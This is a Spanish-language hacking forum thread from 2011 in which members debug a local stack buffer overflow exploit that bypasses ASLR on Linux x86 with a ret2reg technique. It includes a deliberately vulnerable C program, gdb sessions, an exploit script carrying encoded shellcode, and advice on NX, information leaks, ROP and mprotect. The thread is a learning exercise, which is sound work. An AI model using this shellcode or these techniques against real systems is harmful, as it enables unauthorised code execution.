Segmentation fault en una evasion ASLR/Linux con ret2reg

Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos

Moderador: Moderadores

Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Dom Ene 16, 2011 10:36 pm

Aupa jedis del shellcoding!

Estoy teniendo unos problemas a la hora de hacer un exploit BoF, concretamente bajo un escenario Linux donde hay que evadir ASLR con ret2reg en kernel > 2.6.30 , donde segun he leido ya no funciona el hack de los leak bajo /proc

Os pego el log de lo que llevo:

Código: Seleccionar todo
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
2
[email protected]:~# cat vuln.c
#include <stdio.h>
#include <string.h>

char* vuln (char *s)
{
        char *p;
        char buf[100];

        strcpy(buf,s);
        p = (char*) &buf;
        return p;
}

int main (int argc, char **argv)
{
        char *s;

        if (argc > 1)
        {
                s = vuln(argv[1]);
                return 0;
        }
}
[email protected]:~#gcc vuln.c -o vuln -g -fno-stack-protector
[email protected]:~# gdb vuln -q
(gdb) r `perl -e 'print "7" x108'`
Starting program: /home/vlan7/vuln `perl -e 'print "7" x108'`

Program received signal SIGSEGV, Segmentation fault.
0x08048400 in main (argc=Cannot access memory at address 0x3737371b
) at vuln.c:18
(gdb) list 7
(...)
9               strcpy(buf,s);
(...)
(gdb) b vuln.c:9
Breakpoint 1 at 0x80483ca: file vuln.c, line 9.
(gdb) r test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vlan7/vuln test

Breakpoint 1, vuln (s=0xbffff675 "test") at vuln.c:9
9               strcpy(buf,s);
(gdb) i r
eax            0xbffff675       -1073744267
ecx            0xbffff440       -1073744832
edx            0xbffff440       -1073744832
ebx            0xb7fc6ff4       -1208193036
esp            0xbffff380       0xbffff380
ebp            0xbffff3f8       0xbffff3f8
esi            0x0      0
edi            0x0      0
eip            0x80483ca        0x80483ca <vuln+6>
eflags         0x200282 [ SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/s $eax
0xbffff675:      "test"
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[email protected]:~# ./jmpbuster vuln
** JMP buster - Tool for searching registers JMP/CALL inside an executable file
by BlackLight, released under GNU GPL licence v.3, 2009

-> [call *%eax] found at addr 0x080483bf
-> [call *%eax] found at addr 0x080484bb
[email protected]:~# cat exploit.sh
#!/bin/sh

shellcode=`printf "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa0\x38\x1b\xc1\x83\xeb\xfc\xe2\xf4\xca\x33\x43\x58\xf2\x5e\x73\xec\xc3\xb1\xfc\xa9\x8f\x4b\x73\xc1\xc8\x17\x79\xa8\xce\xb1\xf8\x93\x48\x30\x1b\xc1\xa0\x17\x79\xa8\xce\x17\x68\xa9\xa0\x6f\x48\x48\x41\xf5\x9b\xc1"`;

basura=`perl -e 'print "\x90" x40'`;
ret=`printf "\x08\x04\x83\xbf"`;

vuln='./vuln';

arg=$shellcode.$basura$ret;

$vuln $arg
[email protected]:~# ./exploit.sh
./exploit.sh: line 12:  5225 Segmentation fault      $vuln $arg
[email protected]:~#


Lo que hago es analizar la situacion del registro EAX justo antes de que el codigo se ejecute, lo hago con el codigo que compilé de jmpbuster. Pruebo ambos valores (aunque con el primero bastaria, que es donde se encuentra el ret2reg -un CALL-) de la direccion a la que apunta EAX en el exploit, donde deberia estar la direccion de la shellcode a ejecutar (una simple shell en local).

Lamentablemente, devuelve un bonito segfault :evil:

Gracias!
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor NewLog » Mar Ene 18, 2011 11:46 am

Ueeeeeee!! We want exploiting!! Dentro de poco posteó yo unas dudas, pero mejor intentamos solucionar primero esta.

A ver, primero decir que no tengo ni idea de como bypassear ASLR, pero entiendo todas las pruebas que has hecho y tengo un par de cosas a comentar.

La primera es que cuando intentas sobreescribir la dirección de retorno, creo que te falta un byte! O sea, necesitas un búfer de 109 bytes, ya que con 108 bytes, EIP es igual a 0x3737371b, cuando creo que debería ser 0x37373737. Así que una posible razón de que no te funcione es que no sobreescribas correctamente el valor de la dirección de retorno.


La segunda es que veo que montas tu búfer con [Shellcode + NOP Sled + Ret Address]. Cuando normalmente debería ser [NOP Sled + Shellcode + Ret Address]. Creo, aunque muy probablemente me equivoque, que no tiene sentido poner el NOP Sled después del shellcode. El NOP Sled se pone antes del shellcode debido a la imposibilidad de conocer la ubicación exacta en memoria del shellcode. Para tener un margen de error en la elección de la dirección de retorno.


La tercera es que va bien repetir varias veces la dirección de retorno para asegurarte de que sobreescribes correctamente la dirección de retorno de la función. Así pues, el NOP Sled acostumbra a tener la mitad del tamaño que el búfer necesario para explotar la vulnerabilidad, después viene el shellcode y por último viene la dirección de retorno repetida las veces necesarias para sobreescribir la dirección de retorno de la función. Después compruebas que se sobreescriba bien el registro EIP y si no es así, ajustas añadiendo o quitando NOPs.

La cuarta es que deberías introducir la dirección de retorno en orden inverso, ya que estas con una arquitectura little endian. En vez de \x08\x04\x83\xbf, \xbf\x83\x04\x08, a menos que la herramienta jmpbuster ya te las de del revés (que lo dudo).


Venga vlan, a ver si lo sacamos!

P.D.: Sabes el documento que estaba haciendo? Ya está acabado! 107 páginas :P
P.D2.: Nunca había visto esto del ret2reg, pero la idea es muy buena! Me quedo con la herramienta esta del jmpbuster :embudito:
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Mar Ene 18, 2011 6:36 pm

Buff estos calculos me matan! Evidentemente si hay 1 byte de diferencia hacia la direccion de retorno algo no sigue las reglas, asi que en cuanto pueda probarlo sigo con el tema.

Tomo nota sobre tu consejo de aumentar el NOP Sled y metere algunos mas, aunque crei que con 40 NOPs ya era suficiente... En lo que si que se me fue la olla es en meter el NOP sled despues de la shellcode, soy consciente de lo que comentas.

Sobre el jmpbuster lo pille de http://sprunge.us/XCCi, como ves esta codificado en C bajo Linux x86, probare a poner el resultado de EAX "al reves" tambien, aunque no veo por que la herramienta no podria mostrarlo en little endian (aunque no he visto el codigo en si -solo la descripcion-).

Con respecto al paper, menudo curro te has pegado colega. Pero bueno, aun me queda hablar de ROP (que no he probado en la vida).

Me releere esto cuando retome el tema, te aseguro que me ha orientado.

Saludos.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor NewLog » Mié Ene 19, 2011 12:42 pm

Lo de la dirección del revés lo decía porqué imagino que la aplicación te lo comentaría. Me he mirado el código y de lo poco que he entendido, parece ser que imprime la dirección tal y como la coje. Además, si la dirección empezara como 0xbf.... es muy probable que estuviera en la pila, en cambio si empieza por 0x80... tiene todos los puntos de estar en la sección de código.


Ya comentarás como te va! Y gracias por el código ;)

Por cierto, si no se encontrara ninguna instrucción de estas, adiós bypass ASLR? O quedan más métodos?
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor TuXeD » Mié Ene 19, 2011 5:01 pm

Hola,

Puedes poner un cat /proc/self/maps ? Es la pila RWX o es RW- ? En el segundo caso, el segfault viene por el hecho de no ser un mapping ejecutable... aunque veo que estas usando x86 asi que asumo que no es el caso (no PAE ni PAX en el kernel, verdad?).

Efectivamente como dice NewLog en esa direccion 0x08* suele estar .text y/o las secciones de datos. Puesto que las comprobaciones con gdb indican que realmente ahi hay un call eax y que eax apunta a tu buffer, basicamente deberia funcionar. Ademas, los NOPs no te hacen falta realmente, puesto que eax apunta al principio del buffer sin fallos, gracias a la estructura del codigo ;)

Ahora, una de las cosas que falla seguro es la direccion. Hay que meterla en little endian, asi que tienes que 'reversear' los bytes. Si no la pones asi, intenta saltar a 0xbf83xxxx, que esta bien en la pila o bien no mapeado (en el gap que existe entre la pila y el final de userspace, debido a la implementacion de ASLR si no me equivoco).

Respecto a lo que dice NewLog de si no encontraras un call eax... pues podrias usar algo tipo ROP para encontrarlo. Ejemplos: push eax + ret, mov ebx,eax; call eax, lea ebx,[eax+4];call ebx, y otros que os podais imaginar :)

Saludetes!

PD: De que documento hablais? donde se puede conseguir ? :p
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Mié Ene 19, 2011 6:30 pm

Buenas!

TuXeD, ahora no puedo comprobar si la pila tiene permisos de ejecucion, pero bajo el mismo sistema aunque con otro escenario he logrado explotar un BoF saltandome ASLR (aunque con ret2esp). El kernel no tiene PAE, es un x86 puro y duro. Asi que espero que sea problema de no haber metido la direccion en little endian, que como dices eso esta mal seguro.

Sobre el documento... y algun otro se haran publicos pronto :embudito:

Gracias y un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor NewLog » Mié Ene 19, 2011 8:51 pm

Mmm, justo el otro día ojeé unas diapositivas de ROP de Dino. (sólo pongo el nombre porque escribir los apellidos me supera :badgrin: ). Y en Corelan vi que se necesitan datos específicos para cada aplicación y tal... Pero bueno, dentro de un tiempo nos pondremos con ello :D

Lo del documento del que hablamos... No merece la pena ni que lo mires :P Es una pedazo introducción for dummies a la explotación y el shellcoding en Linux. Pero los de vlan son algo más avanzado :D

Saludos!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Mié Ene 19, 2011 8:53 pm

Buenas de nuevo,

Ya estoy en el sistema a explotar, y puedo ver que la pila no es ejecutable (vamos, que la proteccion NX esta activada).

grep stack /proc/self/maps
bfe5b000-bfe7c000 rw-p 00000000 00:00 0 [stack]

Pero eso en principio lo puedo solucionar por ejemplo haciendole un execstack -s al codigo vulnerable no? Al fin y al cabo no trato de bypassear NX con un return-to-libc (lo cual si no me equivoco es imposible con ASLR activo).

Ya os cuento segun vaya haciendo. Un saludo.

P.D. Ya que hablas de Corelan, vi en su canal de youtube dos videos cojonudos sobre explotacion remota de ASLR con ret2esp. Tengo que probarlo!

Edito: NewLog, temas mas avanzados si lo logro claro xD Por lo menos a mi evadir ASLR con ROP se me hace algo complejo de entender por lo poco que he leido...
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor NewLog » Mié Ene 19, 2011 10:58 pm

Lo del execstack nos quedó claro en el otro hilo eh :embudito:

No sabia que Corelan tuviera canal de youtube, me voy a buscarlo!

Sobre lo que preguntas, ni idea...
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor neofito » Mié Ene 19, 2011 11:56 pm

Sean para quien sean los documentos espero poder meterles mano pronto :D

Saludos

PD: Gracias por subir el nivel del foro!!
La verdad nos hara libres

http://neosysforensics.blogspot.com
http://www.wadalbertia.org
@neosysforensics
-<|:-P[G]
Avatar de Usuario
neofito
Wadalbertita
Wadalbertita
 
Mensajes: 1799
Registrado: Dom Ene 30, 2005 7:16 am
Ubicación: En algun lugar

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor TuXeD » Jue Ene 20, 2011 2:54 am

Hola,

Ciertamente si desactivas NX con execstack (no conozco la sintaxis) creo que deberia funcionar. Esto funciona porque no hay ASLR en las secciones de codigo del ejecutable y solo en heap, stack y no se si se incluye bss/data tambien en este caso.

Si hay full ASLR, entonces necesitas un infoleak para obtener una referencia. Por ejemplo, imaginate que mediante un infoleak (un bug que te da informacion sobre la memoria del proceso) sacas la info de donde esta mapeada una libreria (e.g. libc). Luego, usas libc para buscarte 'gadgets' (secuencias de instrucciones acabadas en 'ret') y usas esos gadgets para saltar a tu shellcode (buscar un jmp/call eax o algo equivalente).

En este caso que no hay full ASLR, si tuvieses NX ademas, podrias hacer lo siguiente:

- Hacer un strcpy/memcpy (o buscarlo en asm), para copiar la shellcode a otra zona de memoria
- Saltar a esa nueva zona de memoria

Otra opcion es coger esp y saltar hacer un mprotect para darle permisos rwx, algo que normalmente se puede hacer (salvo que se use grsec/PAX o equivalentes).

Espero haberme explicado... esto es la teoria aunque en la practica ando un poco oxidado :oops:

Saludetes
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Jue Ene 20, 2011 1:57 pm

Hola a todos.

NewLog, seguro que has encontrado el canal de Corelan, de todas formas dejo la direccion como referencia: http://www.youtube.com/user/CorelanTeam Los dos videos a los que me referia son faciles de encontrar porque hay pocos videos, son dos partes de una evasion ASLR remota con ret2esp, que si no me equivoco es lo ultimo que comenta TuXeD en su ultimo post.

TuXeD, lo que comentas del infoleak del /proc era un hack muy majo, pero si no me equivoco se parcheo en 2.6.30 , y el escenario es un kernel mayor (2.6.35 creo). Por cierto, yo ando oxidado en teoria y practica, asi que me vienen de lujo todas las explicaciones :p

Y ahora lo que me dio tiempo a probar ayer. Efectivamente, haciendo la pila ejecutable con execstack e introduciendo la direccion que marca EAX en little endian el segmentation fault ya no aparecia, pero puede que haya copiado mal los opcodes de la shellcode, porque no me devolvia ninguna shell (esto es una cosa que debo revisar yo).

Saludos!
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor TuXeD » Jue Ene 20, 2011 4:48 pm

vlan7, respecto al infoleak, no me referia unicamente a leer la info de /proc. Me referia a que el programa vulnerable, ademas de un buffer overflow (ya sea en stack o en heap) contenga algun fallo que nos pueda proporcionar informacion.

Por ejemplo, imaginate que es un programa (servidor remoto o un daemon, algo q sigue funcionando tras recibir comandos) que lee ficheros en un buffer y te permite leer y escribir del buffer un numero de bytes que tu proporcionas. En el caso de escribir mas de la cuenta, tenemos un buffer overflow de libro.

En el caso de leer mas de la cuenta, tenemos que el programa devolvera informacion que no deberia y podria ser sensible. En concreto, si hablamos de la pila habra punteros a otras variables que usa el programa, direcciones de retorno que podrian estar en librerias (basicamente tienes todos los stack frames), etc. De ahi podriamos sacar por ejemplo la direccion de main(), y con ello tener la base del .text del programa lo cual nos serviria para construir nuestro payload en ROP.

Si el leak es similar pero en el heap, entonces probablemente tengamos direcciones del propio heap (free chunks y otros punteros utilizados por la implementacion de malloc) ademas de vtables de algunos objetos si hablamos de C++ (estos apuntan a .text). De nuevo esto nos puede servir para encontrar la base del heap o de algun modulo del programa (el propio ejecutable, o una dll o shared object) y de ahi construir nuestro payload.

Con full ALSR + NX, este tipo de bugs que antes eran practicamente insignificantes se pueden convertirse en vitales para explotar otro fallo.

Como curiosidad, echadle un ojo a este exploit remoto de kingcope: http://packetstormsecurity.org/files/vi ... teroot.txt . La version de linux que hay explicada, usa el offset a la entrada de write en la PLT (en este caso el ASLR es el de linux, no es completo, con lo que esta entrada esta en un sitio estatico) para hacer un return a write().

Con esto consigue leer del socket informacion del espacio de memoria del proceso y conseguir un valor base. Antes ha construido un payload ROP y almacenado los offsets de las instrucciones relativos a esa base. Luego, explota de nuevo el fallo pero esta vez no salta a write, sino que construye su payload ROP anyadiendo esos offset a la base encontrada con write.

Con esto consigue saltarse ASLR y NX en Linux recientes, con un unico offset hardcodeado. Por supuesto, esto funciona xq ProFTPD no utiliza execve() al 'forkear' un nuevo proceso y Linux solo aplica ASLR en execve, con lo cual los offsets se mantienen. En OpenSSH si no recuerdo mal esto no funcionaria, xq el propio OpenSSH hace un fork+execve() de si mismo, y los offsets son nuevos en cada conexion.

Hope it helps :)

Saludos!
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor vlan7 » Jue Ene 20, 2011 5:30 pm

ok TuXeD, excelente info, pero lamentablemente en este ejemplo el atacante solo puede usar un ret2reg :( No obstante la tendre en cuenta para cuando me ponga con el tema de construccion de exploits con ROP. Mas o menos comprendo lo que dices, aunque seguro que encuentro obstaculos cuando me ponga con el tema, entonces ya os dare la lata. :embudito:

Tu das, yo doy. Igual ya te enteraste, pero hace 4 dias en xorl %eax, %eax publicaron un excelente articulo de analisis de la implementacion de ASLR en el kernel 2.6.36 de Linux.

Un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en una evasion ASLR/Linux con ret2reg

Notapor NewLog » Jue Ene 20, 2011 9:29 pm

neofito escribió:PD: Gracias por subir el nivel del foro!!


Si lo subimos - cosa que dudo ;) - es porque Wadalbertia nos lo ha sudido a nosotros. Almenos a mí.

Vlan7, yo también vi el post de xorl! Pero tengo que admitir que aun no he acabado de leerlo. Por cierto, aquí hay un link sobre cómo aprovechar los leaks de información para saltarse ASLR+DEP. Sigue abierto en mi navegador desde ayer :embudito:

Vale, leyendo el exploit que comentas, que por cierto, es una maldita locura... Ya he visto que la dirección la debes conseguir con IDA. No es necesario leer lo que sigue.
-------
Pedazo explicación TuXeD, pero cómo se puede conseguir obtener información de las posiciones de memoria de los segmentos? Quiero decir... El programa te hace un printf de las direcciones? O lo depuras? No lo entiendo mucho, quizá cuando me lea el paper que he linkado me quedé más claro. Yo tengo que admitir que aun me queda un poco lejos todo esto de bypasear ASLR. Pero en eso estamos.
-------

Por cierto, no sabrás donde puedo sacar información de la estructura de las virtual tables? O de cómo y donde del heap se almacenan los punteros a los métodos de los programas? Eso me ayudaría bastante. Se como sobreescribir punteros a funciones, pero no es lo mismo que los punteros de los métodos, no?


Un saludo!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Siguiente

Volver a Programación

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado

cron